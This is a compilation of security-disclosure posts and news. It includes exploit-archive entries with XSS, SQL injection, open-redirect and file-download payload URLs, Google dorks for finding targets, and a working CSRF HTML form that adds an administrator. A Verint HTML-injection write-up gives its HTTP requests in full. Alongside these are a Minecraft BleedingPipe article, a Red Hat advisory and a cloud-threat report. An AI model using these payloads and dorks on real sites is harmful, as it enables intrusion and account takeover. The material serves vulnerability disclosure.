CREDITS PREVICINI CMS version 1.02 suffers from a cross site scripting vulnerability.

    ====================================================================================================================================| # Title     : CREDITS PREVICINI CMS v1.02 Xss Vulnerability                                                                      || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 64.0.2 (32-bit)                                            || # Vendor    : http://www.previcinidesign.com/                                                                                    |  | # Dork      : inurl:id= Or Web by PREVICINIDESIGN & php?id=                                                                      |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine [+] Use Payload : /notizie-fresche.php?ID=27%27%22()%26%25%3Cscript%3Ealert(/indoushka/);%3C/script%3E[+] http://127.0.0.1/amarcordpiadineriait/notizie-fresche.php?ID=27%27%22()%26%25%3Cscript%3Ealert(/indoushka/);%3C/script%3EGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

CREDITS PREVICINI CMS 1.02 Cross Site Scripting

Creative Commons Attribution version 3.0 suffers from a remote SQL injection vulnerability.

    ====================================================================================================================================| # Title     : Creative Commons Attribution v3.0 Sql Injection Vulnerability                                                      || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro)                                                                                        || # Vendor    : https://creativecommons.org/licenses/by/3.0/                                                                       |  ====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine [+] http://127.0.0.1/demonstrationchapelorg/fullnews.php?id=3 <=====| inject herePanel :http://127.0.0.1/demonstrationchapelorg/admin/Greetings to :=================================================================jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R |===============================================================================

Creative Commons Attribution 3.0 SQL Injection

Courier Deprixa Pro Integrated Web System version 3.2.5 suffers from a cross site request forgery vulnerability.

====================================================================================================================================  
| # Title     : Courier Deprixa Pro - Integrated Web System v3.2.5 CSRF Vulnerability                                              |  
| # Author    : indoushka                                                                                                          |  
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 64.0.2 (32-bit)                                            |  
| # Vendor    : https://codecanyon.net/item/courier-deprixa-pro-integrated-web-system-v32/15216982                                 |    
| # Dork      : DEPRIXA 3.2.5 | lOGIN                                                                                              |  
====================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] The following html code create a new admin .

[+] Go to the line 7.

[+] Set the target site link Save changes and apply . 

[+] infected file : settings/addusersadmin/agregar.php

[+] save code as poc.html .

<div class="modal-content">  
              <div class="modal-header">  
              <h4 class="modal-title" id="myModalLabel"><i class="fa fa-user-plus"></i>New Administrator</h4>  
              </div>  
              <div class="modal-body">  
                
                <form action="https://127.0.0.1/bluedotcourriercom/dashboard/settings/addusersadmin/agregar.php" data-parsley-validate="" novalidate="" method="post" class="form-horizontal" enctype="multipart/form-data">  
                  <div class="form-group " id="gnombrepa">  
                  <label for="off_name" class="col-sm-2 control-label"></label>  
                  <div class="col-sm-10">  
                    <input class="form-control off_name" parsley-trigger="change" required="" name="name_parson" placeholder="Administrator Name" data-parsley-id="4" type="text">  
                  </div>  
                  </div>  
                  <div class="form-group" id="gapellido">  
                  <label for="email" class="col-sm-2 control-label">Email</label>  
                  <div class="col-sm-5">  
                    <input class="form-control email" name="email" id="id_mail" placeholder="demo@demo.com" required="" onkeyup="javascript:validateMail('id_mail')" data-parsley-id="6" type="text">  
                    <strong><span id="emailOK"></span></strong>  
                  <p class="error"></p>  
                  </div>  
                  <div class="col-sm-5">  
                    <input class="form-control phone" name="phone" parsley-trigger="change" required="" placeholder="Phone" data-parsley-id="8">                                        
                  </div>  
                  </div>  
                  <div class="form-group" id="gemail">  
                  <label for="office" class="col-sm-2 control-label">Office</label>  
                  <div class="col-sm-5">  
                    <input class="form-control office" parsley-trigger="change" required="" name="office" placeholder="Name of the Office" data-parsley-id="10" type="text">  
                  </div>  
                  <div class="col-sm-5">  
                  <select type="text" class="form-control role" name="role" data-parsley-id="12">  
                    <option value="Administrator">Administrator</option>                        
                  </select>  
                  </div>  
                  </div>  
                  <div class="form-group " id="gnombre">  
                  <label for="off_name" class="col-sm-2 control-label">User</label>  
                  <div class="col-sm-10">  
                    <input class="form-control off_name" parsley-trigger="change" required="" name="name" placeholder="Username" data-parsley-id="14" type="text">  
                  </div>  
                  </div>  
                  <div class="form-group" id="gpassword">  
                  <label for="pwd" class="col-sm-2 control-label">Password</label>  
                  <div class="col-sm-10">  
                    <input class="form-control pwd" parsley-trigger="change" required="" name="pwd" placeholder="Password" data-parsley-id="16" type="text">  
                  </div>  
                  </div>  
                  <br><br>  
                    <div class="col-sm-offset-2 col-sm-10">  
                    <div class="checkbox">  
                      <label class="i-checks i-checks-sm">  
                      <input type="checkbox" name="estado" value="1" onclick="return false" checked >  
                      <i></i>  
                      State                      </label>  
                    </div>  
                    <div class="checkbox">  
                      <label class="i-checks i-checks-sm">  
                      <input type="checkbox" name="type" value="a" onclick="return false" checked >  
                      <i></i>  
                      User Type                      </label>  
                    </div>  
                  </div>

                                      
                </div>  
                 </br></br>  
                <div class="modal-footer">  
                  <button type="button" class="btn btn-default" data-dismiss="modal"><i class="fa fa-times"></i>  
                    Close</button>  
                  <input class="btn btn-success" name="Submit" type="submit"  id="submit" value="Save">  
                </div>  
              </form>                                
            </div>  
            </div>  
          </div>  
                         
          </div>  
            
          </div>  
        </div>         
        </div>  
          
      </div>  
      </div>  
            
    </div>  
    </div>  
  </div>  
  

Greetings to :=========================================================================================================================  
jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |  
=======================================================================================================================================

Courier Deprixa Pro Integrated Web System 3.2.5 Cross Site Request Forgery

Coupons CMS version 4.00 suffers from an open redirection vulnerability.

**Coupons CMS 4.00 Open Redirection**

Posted Aug 2, 2023

Authored by indoushka

Coupons CMS version 4.00 suffers from an open redirection vulnerability.

tags | exploit

SHA-256 | 89eec3911e92a444e6c66b2518084ebd6482c026ff7e22103198824accfac76e

Download | Favorite | View

**Coupons CMS 4.00 Open Redirection**

    ====================================================================================================================================| # Title     : Coupons CMS v4.00 URL redirection Vulnerability                                                                    || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 64.0.2 (32-bit)                                            || # Vendor    : https://codecanyon.net/item/coupons-cms-500/11686064?ref=shadyro                                                   |  | # Dork      : Powered by CouponsCMS.com                                                                                          |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine [+]  use payload : /plugin/click.html?backTo=https://packetstormsecurity.com&coupon=2&reveal_code=1[+]  http://127.0.0.1/couponscms.com/demo/plugin/click.html?backTo=https://packetstormsecurity.com&coupon=2&reveal_code=1Greetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

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Coupons CMS 4.00 Open Redirection

ConverTo Video Downloader and Converter version 1.4.2 suffers from a file download vulnerability.

    ====================================================================================================================================| # Title     : ConverTo Video Downloader & Converter v1.4.2 - Arbitrary File Download Vulnerability                               || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Français V.(Pro)                                                                                        || # Vendor    : https://codecanyon.net/item/converto-video-downloader-converter/13225966                                           |  | # Dork      :                                                                                                                    |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] infected file :download.php [+] line 12 readfile ($file);  & line 5 $file = urldecode($_GET['f']);<?php if(isset($_GET['f'])){  $siz = convertToBytes($_GET['sz']);$file = urldecode($_GET['f']);$rand = rand(0,5000);header("Content-Description: File Transfer"); header("Content-Type: application/octet-stream"); header('Content-Length: ' . $siz);header("Content-Disposition: attachment; filename=Facebook_video_$rand.mp4");  ob_clean(); flush();readfile ($file); }[+] http://localhost/[PATH]/download.php?f= Ev!lGreetings to :=========================================================================================================================jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr  |=======================================================================================================================================

ConverTo Video Downloader And Converter 1.4.2 File Download

Categories: Personal
Tags: Minecraft

Tags:  mod

Tags:  forge

Tags:  players

Tags:  vulnerability

Tags:  RCE

Tags:  bleedingpipe

Tags:  malware

Minecraft players interested in modding are at risk from a remote code execution vulnerability targeting both players and servers.



(Read more...)




The post Minecraft fans beware: Players and servers at risk from BleedingPipe vulnerability appeared first on Malwarebytes Labs.

Posted: August 2, 2023 by

Minecraft players interested in modding are potentially at risk of compromise. A Remote Code Execution (RCE) vulnerability in certain Minecraft mods allows for malicious commands on both servers and clients. The vulnerability, named BleedingPipe, allows attackers to take over a targeted server.

Minecraft modding is immensely popular, with a potentially huge number of servers in the wild doing their own thing. There’s a custom game type or world state for everybody.

The problem is that so many of them have been set up in a way which allows for this vulnerability to take hold. As Bleeping Computer notes, the compromised servers are only the first link in the chain. With the server taken over, attackers can then turn their attention to the players inhabiting those servers.

They exploit the issues residing in the mods used by the people playing, which permits them to make malicious installations on their PCs. Given that Minecraft has around 140 million monthly active players, this isn’t great news. While a lot of them are playing on console and so not susceptible to Windows malware, a huge modding base exists in PC land.

From the Minecraft security (MMPA) article highlighting details of the attack:

> BleedingPipe is an exploit being used in the wild allowing FULL remote code execution on clients and servers running popular Minecraft mods on 1.7.10/1.12.2 Forge (other versions could also be affected), alongside some other mods.
> 
> This is a vulnerability in mods using unsafe deserialization code, not in Forge itself.

The article goes on to list some of the affected mods, and it’s worth noting that this list is by no means exhaustive:

> EnderCore (dependency of EnderIO). The GT New Horizons fork has been fixed, and the original has been as well, but EnderIO’s minimum versions has not yet been updated.
> 
> LogisticsPipes. This has once again been fixed in GT New Horizons version as of July 25, 2023, and the original is fixed since version 0.10.0.71. MC 1.12 versions are not affected. If you have played on a server with a vulnerable version, assume you are infected.
> 
> The 1.7-1.12 versions of BDLib. Once again, GTNH fork has this fixed, but the developer of the original currently does not plan to fix it. Assume you are infected if you have played on a server and are not on the GTNH fork.
> 
> Smart Moving 1.12
> 
> Brazier
> 
> DankNull
> 
> Gadomancy

The article also claims a similar issue was first reported back in 2022. After having been addressed, this problem has resurfaced in various forms and impacting several mods along the way. The individuals behind the attack have “scanned all Minecraft servers on the IPv4 address space to mass-exploit vulnerable servers”. At time of writing, nobody knows the payload content being sent to potentially vulnerable servers.

Server admins are advised to check for suspicious files, along with updating or removing vulnerable mods. For players, the news isn’t particularly reassuring:

> As a player if you don’t play on servers, you are not affected.

Essentially, don’t play or run various scans after a Minecraft session and hope for the best. There is also the option of installing a mod called PipeBlocker on forge servers and clients, which protects against the BleedingPipe vulnerability.

Abusing game servers is an occasionally used technique to infect as many people as possible. Something similar happened this past week when Call of Duty servers were taken offline due to a similar approach. The smash hit DayZ game was famously attacked back in 2014 in much the same fashion.

Connecting to other devices or servers is always a potential risk, and where modding is thrown into the mix you can never be 100% sure that everything is as it should be. Stay safe, Minecraft fans!

**We don’t just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

**RELATED ARTICLES**

Minecraft fans beware: Players and servers at risk from BleedingPipe vulnerability

Red Hat Security Advisory 2023-4421-01 - OpenShift Virtualization is Red Hat's virtualization solution designed for Red Hat OpenShift Container Platform. This advisory contains OpenShift Virtualization 4.12.5 images.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

=====================================================================  
                   Red Hat Security Advisory

Synopsis:          Important: OpenShift Virtualization 4.12.5 security and bug fix update  
Advisory ID:       RHSA-2023:4421-01  
Product:           OpenShift Virtualization  
Advisory URL:      https://access.redhat.com/errata/RHSA-2023:4421  
Issue date:        2023-08-01  
CVE Names:         CVE-2020-24736 CVE-2022-4304 CVE-2022-41723   
                   CVE-2023-0215 CVE-2023-0286 CVE-2023-1667   
                   CVE-2023-2283 CVE-2023-2828 CVE-2023-3089   
                   CVE-2023-24329 CVE-2023-24540 CVE-2023-26604   
=====================================================================

1. Summary:

Red Hat OpenShift Virtualization release 4.12.5 is now available with  
updates to packages and images that fix several bugs and add enhancements.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Description:

OpenShift Virtualization is Red Hat's virtualization solution designed for  
Red Hat OpenShift Container Platform.

This advisory contains OpenShift Virtualization 4.12.5 images.

Security Fix(es):

* openshift: OCP & FIPS mode (CVE-2023-3089)

* golang: html/template: improper handling of JavaScript whitespace  
(CVE-2023-24540)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

Bug Fix(es):

* [4.12] must-gather doesn't collect ruletebles (BZ#2208641)

* nft rules are not collected if the VMs are running in the node where  
must-gather is running (BZ#2214454)

* [cnv-4.12] kubevirt should allow setting cluster-wide virt-launcher  
runtimeclass (BZ#2217913)

* USB-redirection regression (BZ#2221222)

3. Solution:

Before applying this update, make sure all previously released errata  
relevant to your system have been applied.

For details on how to apply this update, refer to:

https://access.redhat.com/articles/11258

4. Bugs fixed (https://bugzilla.redhat.com/):

2027959 - [RFE] virt-launcher pod of Windows VM stuck in terminating state, no button in the UI to force power off  
2182056 - Cloned VM should not use the same PVC of the source VM  
2196027 - CVE-2023-24540 golang: html/template: improper handling of JavaScript whitespace  
2208641 - [4.12] must-gather doesn't collect ruletebles  
2209318 - [4.12.z] VM connected to a VLAN is also receiving packets from VLAN 1  
2209848 - OpenShift Virtualization Overview page shows no metrics for "All Projects"  
2212085 - CVE-2023-3089 openshift: OCP & FIPS mode  
2214454 - nft rules are not collected if the VMs are running in the node where must-gather is running  
2216447 - must-gather: Multiple empty files under vms/<vm-name> if the VM was live migrated  
2216449 - must-gather is using unavailable brctl command  
2217913 - [cnv-4.12] kubevirt should allow setting cluster-wide virt-launcher runtimeclass  
2220843 - [4.12]Missing StorageProfile defaults for IBM and AWS EFS CSI provisioners  
2221222 - USB-redirection regression  
2222011 - [4.12]DataImportCron Garbage Collection can mistakenly delete latest PVC

5. References:

https://access.redhat.com/security/cve/CVE-2020-24736  
https://access.redhat.com/security/cve/CVE-2022-4304  
https://access.redhat.com/security/cve/CVE-2022-41723  
https://access.redhat.com/security/cve/CVE-2023-0215  
https://access.redhat.com/security/cve/CVE-2023-0286  
https://access.redhat.com/security/cve/CVE-2023-1667  
https://access.redhat.com/security/cve/CVE-2023-2283  
https://access.redhat.com/security/cve/CVE-2023-2828  
https://access.redhat.com/security/cve/CVE-2023-3089  
https://access.redhat.com/security/cve/CVE-2023-24329  
https://access.redhat.com/security/cve/CVE-2023-24540  
https://access.redhat.com/security/cve/CVE-2023-26604  
https://access.redhat.com/security/updates/classification/#important  
https://access.redhat.com/security/vulnerabilities/RHSB-2023-001

6. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2023 Red Hat, Inc.  
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--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2023-4421-01

By Waqas
Cado Security Labs' 2023 Cloud Threat Findings Report dives deep into the world of cybercrime, cyberattacks, and vulnerabilities.
This is a post from HackRead.com Read the original post: SSH Remains Most Targeted Service in Cado’s Cloud Threat Report

**IN SUMMARY**

1.  **Botnet agents dominate the malware landscape, comprising 40.3% of all traffic.**
2.  **SSH remains the most targeted service, representing 68.2% of observed samples.**
3.  **A staggering 97.5% of threat actors target vulnerabilities in a single specific service.**

Cado Security, a pioneer in cloud forensics and incident response solutions, has released the much-anticipated Cado Security Labs 2023 Cloud Threat Findings Report. The report uncovers groundbreaking insights into the evolving cloud threat landscape, highlighting the escalating risk of cyberattacks in the wake of widespread cloud service adoption.

Headed by Chris Doman, CTO, and Co-Founder, of Cado Security Labs; their discoveries have exposed novel cloud-based malware and threat techniques, including the infamous Denonia, the first-known malware designed explicitly for AWS Lambda environments.

The report, which the company shared with Hackread.com, is crucial since Cado Security Labs employs honeypot infrastructure to capture real-time cloud attacker telemetry, providing timely insights into emerging attack patterns, and swiftly disseminating crucial findings throughout the security community.

As cloud technologies continue to shape the modern business landscape, organizations must grasp the depth of emerging cloud threats. Cado’s report arms the security community with the knowledge required to counter these latest threats effectively.

According to Cado’s press release, key findings from the report are as follows:

1.  Botnet agents dominate the malware landscape, comprising 40.3% of all traffic, playing a significant role in the Russia-Ukraine war’s hacktivist-driven DDoS attacks.
2.  SSH (Secure Shell Protocol) remains the most targeted service, representing 68.2% of observed samples. Redis follows at 27.6%, while the exploitation of Log4Shell vulnerability declines to a mere 4.3%.
3.  A staggering 97.5% of opportunistic threat actors target vulnerabilities in a single specific service, suggesting attackers focus on exploiting known weaknesses.

It is worth noting that last month, Nokia also released its Threat Intelligence Report for 2023. In this report, the company issued a warning about the increasing threat of DDoS attacks powered by IoT botnets, specifically targeting global Telecom networks.

Moreover, the report highlighted a concerning surge in malicious activity that was initially observed during the Russia-Ukraine conflict but has now spread to various regions worldwide.

Looking ahead, Cado Security Labs predicts an increase in serverless function attacks, non-Windows ransomware developments by ransomware groups, and the continuous exploitation of cloud services for phishing and spam campaigns.

To mitigate these impending threats, Cado Security experts advise organizations to comprehend the AWS shared responsibility model, restrict access to critical evidence, minimize exposure of services like Docker and Redis, scrutinize public repositories for cloud credentials, and implement the principle of least privilege.

Nevertheless, in an ever-evolving cyber threat landscape, the insights from the Cado Security Labs 2023 Cloud Threat Report are crucial for organizations seeking to strengthen their defences against constantly advancing cloud-focused threats.

1.  Microsoft the Most Phished Brand in Q2 2023 Report
2.  US, India China Most Targeted in DDoS Attacks, Report
3.  VirusTotal: Apps Most Exploited by Hackers to Spread Malware
4.  Russian Dark Net Markets Dominate Global Drug Trade: Report
5.  Submarine Cables Face Massive Cybersecurity Threats, Report
6.  MS Office Most Exploited Software in Malware Attacks – Report
7.  Google, Microsoft, Oracle generated most vulnerabilities in 2021

I am a UK-based cybersecurity journalist with a passion for covering the latest happenings in cyber security and tech world. I am also into gaming, reading and investigative journalism

SSH Remains Most Targeted Service in Cado’s Cloud Threat Report

Verint Engagement Management 15.3 Update 2023R2 is vulnerable to HTML injection via the user data form in the live chat.

Verint live-chat is an application part of Verint Engagement Management (version 15.3 Update 2023R2) that makes it possible for users on a website to ask questions through a chat box. The questions are answered by an employee via the Verint dashboard.  
It is possible to inject HTML code into the "User Data" form in the live-chat.

When we create a new chat an API call is made. In this JSON API call, it is possible to inject HTML code into the following parameters: "customerFirstName", "customerEmail", "customerLocale" and "refererURL".

    POST /chat/CONAV/chat/rest/api/clients?serverId=ce0f6327e41ba6a332e392376e615eb048a1c6a5252da988ece51392a67f2f3704483b93ce8517 HTTP/1.1
    Host: apps.x.nl
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/plain, */*
    Accept-Language: nl,en-US;q=0.7,en;q=0.3
    Accept-Encoding: gzip, deflate
    Referer: https://staging.x.nl/
    Content-Type: application/json
    Content-Length: 234
    Origin: https://staging.x.nl
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: same-site
    Te: trailers
    Connection: close
    
    {"customerFirstName":"<h1>AAAAAAAAAAAAAAAAAAAAAAAAA</h1>",
    "customerEmail":"<h1>ee@recoil.nl</h1>",
    "customerLocale":"<h1>nl</h1>",
    "chatLaunchMode":"CHAT_ONLY",
    "refererURL":"<h1>https://recoil.nl<h1>",
    "launchCode":"KanaChat",
    "launchIdentifier":"KanaChat"}
    

Take note of the "userId" in the response, we can use this to spawn a chat with the employee.

    HTTP/1.1 201 Created
    connection: close
    content-type: application/hal+json
    date: Mon, 08 May 2023 14:44:58 GMT
    p3p: CP="NON CUR OTPi OUR NOR UNI"
    access-control-allow-origin: *
    access-control-allow-methods: PUT, GET, POST, OPTIONS
    access-control-allow-headers: origin, x-requested-with, content-type
    x-frame-options: SAMEORIGIN
    x-content-type-options: nosniff
    x-xss-protection: 0
    strict-transport-security: max-age=31536000; includeSubDomains
    Set-Cookie: JSESSIONID=Tsf70qRg5layXAoUlwgHYIrAC_3VFCKXjXtfiH1xE-KBpWrqsYyK!896618273; Path=/chat/; Secure; HttpOnly
    
    {"userName":"AAAAAAAAAAAAAAAAAAAAAAAAA",
    "userLoginId":"9678-648618303ce0f6327e41ba6a332e392376e615eb048a",
    "userId":"vI6GekBuDQQRpnHaTPSF6JxCJFv8mzkjdt3TU17ng8E4CQZ0Am","_links":{"self":{"href":"/CONAV/chat/rest/api/clients?serverId=ce0f6327e41ba6a332e392376e615eb048a1c6a5252da988ece51392a67f2f3704483b93ce8517"},"event":{"href":"/CONAV/chat/rest/api/clients/vI6GekBuDQQRpnHaTPSF6JxCJFv8mzkjdt3TU17ng8E4CQZ0Am/events?serverId=ce0f6327e41ba6a332e392376e615eb048a1c6a5252da988ece51392a67f2f3704483b93ce8517"},"queuedstatus":{"href":"/CONAV/chat/rest/api/clients/vI6GekBuDQQRpnHaTPSF6JxCJFv8mzkjdt3TU17ng8E4CQZ0Am/queuedstatus?serverId=ce0f6327e41ba6a332e392376e615eb048a1c6a5252da988ece51392a67f2f3704483b93ce8517"},"logout":{"href":"/CONAV/chat/rest/api/clients/vI6GekBuDQQRpnHaTPSF6JxCJFv8mzkjdt3TU17ng8E4CQZ0Am/logout?serverId=ce0f6327e41ba6a332e392376e615eb048a1c6a5252da988ece51392a67f2f3704483b93ce8517"}}}
    

With the following request we can spawn a chat box.

    POST /chat/CONAV/chat/rest/api/clients/vI6GekBuDQQRpnHaTPSF6JxCJFv8mzkjdt3TU17ng8E4CQZ0Am/events?serverId=ce0f6327e41ba6a332e392376e615eb048a1c6a5252da988ece51392a67f2f3704483b93ce8517 HTTP/1.1
    Host: apps.x.nl
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: application/json, text/plain, */*
    Accept-Language: nl,en-US;q=0.7,en;q=0.3
    Accept-Encoding: gzip, deflate
    Referer: https://staging.x.nl/
    Content-Type: application/json
    Content-Length: 41
    Origin: https://staging.x.nl
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: same-site
    Te: trailers
    Connection: close
    
    [
    	{
    		"type":"MessageSent",
    		"text":"123test"
    	}
    ]
    

Response:

    HTTP/1.1 200 OK
    connection: close
    content-type: application/hal+json
    date: Mon, 08 May 2023 14:45:07 GMT
    p3p: CP="NON CUR OTPi OUR NOR UNI"
    access-control-allow-origin: *
    access-control-allow-methods: PUT, GET, POST, OPTIONS
    access-control-allow-headers: origin, x-requested-with, content-type
    x-frame-options: SAMEORIGIN
    x-content-type-options: nosniff
    x-xss-protection: 0
    strict-transport-security: max-age=31536000; includeSubDomains
    
    {"events":[],"_links":{"self":{"href":"/CONAV/chat/rest/api/clients/vI6GekBuDQQRpnHaTPSF6JxCJFv8mzkjdt3TU17ng8E4CQZ0Am/events?serverId=ce0f6327e41ba6a332e392376e615eb048a1c6a5252da988ece51392a67f2f3704483b93ce8517"},"nextevent":{"href":"/CONAV/chat/rest/api/clients/vI6GekBuDQQRpnHaTPSF6JxCJFv8mzkjdt3TU17ng8E4CQZ0Am/events?serverId=ce0f6327e41ba6a332e392376e615eb048a1c6a5252da988ece51392a67f2f3704483b93ce8517"},"logout":{"href":"/CONAV/chat/rest/api/clients/vI6GekBuDQQRpnHaTPSF6JxCJFv8mzkjdt3TU17ng8E4CQZ0Am/logout?serverId=ce0f6327e41ba6a332e392376e615eb048a1c6a5252da988ece51392a67f2f3704483b93ce8517"}}}
    

By now the employee should get a notification of a new incoming message. When the chat opens the HTML injection takes place. As seen in the red square in the screenshot below.

When we inspect the source of the webpage we see that it has interpret the HTML code into the website as shown in the screenshot below.

CVE-2023-33257: Verint Live-chat HTML injection

Given the privileged position these devices occupy on the networks they serve, they are prime targets for attackers, so their security posture is of paramount importance.

Tag

#windows